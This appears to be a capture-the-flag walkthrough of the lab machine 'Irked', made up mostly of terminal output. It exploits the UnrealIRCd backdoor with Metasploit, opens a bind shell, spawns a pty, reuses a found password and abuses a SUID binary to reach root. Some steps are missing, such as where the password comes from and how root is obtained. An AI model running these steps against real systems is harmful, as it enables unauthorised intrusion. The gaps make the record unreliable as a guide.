

```

root@kali:~/Masaüstü# msfconsole -q
msf > search unreal

Matching Modules
=====

  Name                                           Disclosure Date  Rank    Check  Description
  ----                                           -
exploit/linux/games/ut2004_secure               2004-06-18      good    Yes    Unreal Tournament 2004 "secure" Overflow (Linux)
exploit/unix/irc/unreal_ircd_3281_backdoor       2010-06-12      excellent No      UnrealIRCd 3.2.8.1 Backdoor Command Execution
exploit/windows/games/ut2004_secure             2004-06-18      good    Yes    Unreal Tournament 2004 "secure" Overflow (Win32)

msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > show payloads

Compatible Payloads
=====

  Name                                           Disclosure Date  Rank    Check  Description
  ----                                           -
cmd/unix/bind_perl                             normal          No      Unix Command Shell, Bind TCP (via Perl)
cmd/unix/bind_perl_ipv6                       normal          No      Unix Command Shell, Bind TCP (via perl) IPv6
cmd/unix/bind_ruby                             normal          No      Unix Command Shell, Bind TCP (via Ruby)
cmd/unix/bind_ruby_ipv6                       normal          No      Unix Command Shell, Bind TCP (via Ruby) IPv6
cmd/unix/generic                             normal          No      Unix Command, Generic Command Execution
cmd/unix/reverse                             normal          No      Unix Command Shell, Double Reverse TCP (telnet)
cmd/unix/reverse_bash_telnet_ssl               normal          No      Unix Command Shell, Reverse TCP SSL (telnet)
cmd/unix/reverse_perl                         normal          No      Unix Command Shell, Reverse TCP (via Perl)
cmd/unix/reverse_perl_ssl                     normal          No      Unix Command Shell, Reverse TCP SSL (via perl)
cmd/unix/reverse_ruby                         normal          No      Unix Command Shell, Reverse TCP (via Ruby)
cmd/unix/reverse_ruby_ssl                     normal          No      Unix Command Shell, Reverse TCP SSL (via Ruby)
cmd/unix/reverse_ssl_double_telnet             normal          No      Unix Command Shell, Double Reverse TCP SSL (telnet)

msf exploit(unix/irc/unreal_ircd_3281_backdoor) > set PAYLOAD cmd/unix/bind_perl
PAYLOAD => cmd/unix/bind_perl

```

```
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > options
```

```
Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):
```

Name	Current Setting	Required	Description
RHOST		yes	The target address
RPORT	6667	yes	The target port (TCP)

```
Payload options (cmd/unix/bind_perl):
```

Name	Current Setting	Required	Description
LPORT	4444	yes	The listen port
RHOST		no	The target address

```
Exploit target:
```

Id	Name
0	Automatic Target

```
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOST 10.10.10.117
```

```
RHOST => 10.10.10.117
```

```
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > set RPORT 6697
```

```
RPORT => 6697
```

```
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit
```

```
[*] 10.10.10.117:6697 - Connected to 10.10.10.117:6697...  
      :irked.htb NOTICE AUTH :*** Looking up your hostname...
```

```
[*] 10.10.10.117:6697 - Sending backdoor command...
```

```
[*] Started bind TCP handler against 10.10.10.117:4444
```

```
[*] Command shell session 1 opened (10.10.13.35:33349 -> 10.10.10.117:4444) at 2018-11-20 10:38:29 +0300
```

```
id
```

```
uid=1001(ircd) gid=1001(ircd) groups=1001(ircd)
```

```
id
uid=1001(ircd) gid=1001(ircd) groups=1001(ircd)
python -c "import pty;pty.spawn('/bin/bash');"
ircd@irked:~/Unreal3.2$ ls
ls
aliases                config.sub              install-sh              networks
autoconf               configure              ircdcron               newnet
badwords.channel.conf  curl-ca-bundle.crt    ircd.log               README
badwords.message.conf  curlinstall            ircd.pid               spamfilter.conf
badwords.quit.conf     CVS                   ircd.tune              src
Changes                dccallow.conf          keys                   tmp
Changes.old            doc                    LICENSE                unreal
Config                 Donation               Makefile               unreal.in
config.guess           extras                 Makefile.in            unrealircd.conf
config.log             help.conf              makefile.win32         Unreal.nfo
config.settings        include                modulize               update
config.status          INSTALL.REMOTEINC     m_template.c           wircd.def
ircd@irked:~/Unreal3.2$ cd ..
cd ..
ircd@irked:~$ ls
ls
Unreal3.2
ircd@irked:~$ cd ..
cd ..
ircd@irked:~$
```

```
ircd@irked:/home$ ls -la
ls -la
total 16
drwxr-xr-x  4 root      root      4096 May 14  2018 .
drwxr-xr-x 21 root      root      4096 May 15  2018 ..
drwxr-xr-x 18 djmardov djmardov 4096 Nov  3 04:40 djmardov
drwxr-xr-x  3 ircd      root      4096 May 15  2018 ircd
ircd@irked:/home$ cd djmardov
cd djmardov
ircd@irked:/home/djmardov$ ls
ls
Desktop  Documents  Downloads  Music  Pictures  Public  Templates  Videos
ircd@irked:/home/djmardov$ cd Documents
cd Documents
ircd@irked:/home/djmardov/Documents$ ls
ls
user.txt
ircd@irked:/home/djmardov/Documents$ ls -la
ls -la
total 16
drwxr-xr-x  2 djmardov djmardov 4096 May 15  2018 .
drwxr-xr-x 18 djmardov djmardov 4096 Nov  3 04:40 ..
-rw-r--r--  1 djmardov djmardov  52 May 16  2018 .backup
-rw-----  1 djmardov djmardov  33 May 15  2018 user.txt
ircd@irked:/home/djmardov/Documents$ cat .backup
cat .backup
Super elite steg backup pw
UPupDOWNdownLRLrBAbASsss
ircd@irked:/home/djmardov/Documents$
```



IRC is almost working!

```
ircd@irked:/home/djmardov/Documents$ su djmardov
su djmardov
Password: Kab6h+m+bbp2J:HG

$ id
id
uid=1000(djmardov) gid=1000(djmardov) groups=1000(djmardov),24
10(lpadmin),113(scanner),117(bluetooth)
$ ls
ls
user.txt
$ cat user.txt
cat user.txt
4a66a78b12dc0e661a59d3f5c0267a8e
$
```

```
djmardov@irked:/$ ls -la /usr/bin/viewuser
-rwsr-xr-x 1 root root 7328 May 16 2018 /usr/bin/viewuser
djmardov@irked:/$ /usr/bin/viewuser
This application is being devleoped to set and test user permissions
It is still being actively developed
(unknown) :0          2018-11-20 08:35 (:0)
djmardov pts/1        2018-11-20 08:36 (10.10.13.134)
djmardov pts/4        2018-11-20 08:37 (10.10.14.209)
djmardov pts/5        2018-11-20 08:37 (10.10.13.35)
djmardov pts/6        2018-11-20 08:37 (10.10.15.118)
root@irked:/# /usr/bin/viewuser -h
This application is being devleoped to set and test user permissions
It is still being actively developed
(unknown) :0          2018-11-20 08:35 (:0)
djmardov pts/1        2018-11-20 08:36 (10.10.13.134)
djmardov pts/4        2018-11-20 08:37 (10.10.14.209)
djmardov pts/5        2018-11-20 08:37 (10.10.13.35)
djmardov pts/6        2018-11-20 08:37 (10.10.15.118)
root@irked:/# /usr/bin/viewuser cat /root/root.txt
This application is being devleoped to set and test user permissions
It is still being actively developed
(unknown) :0          2018-11-20 08:35 (:0)
djmardov pts/1        2018-11-20 08:36 (10.10.13.134)
djmardov pts/4        2018-11-20 08:37 (10.10.14.209)
djmardov pts/5        2018-11-20 08:37 (10.10.13.35)
djmardov pts/6        2018-11-20 08:37 (10.10.15.118)
root@irked:/# id
uid=0(root) gid=1000(djmardov) groups=1000(djmardov),24(cdrom),25(floppy),29(a
th)
root@irked:/# cat /root/root.txt
8d8e9e8be64654b6dccc3bff4522daf3
root@irked:/# █
```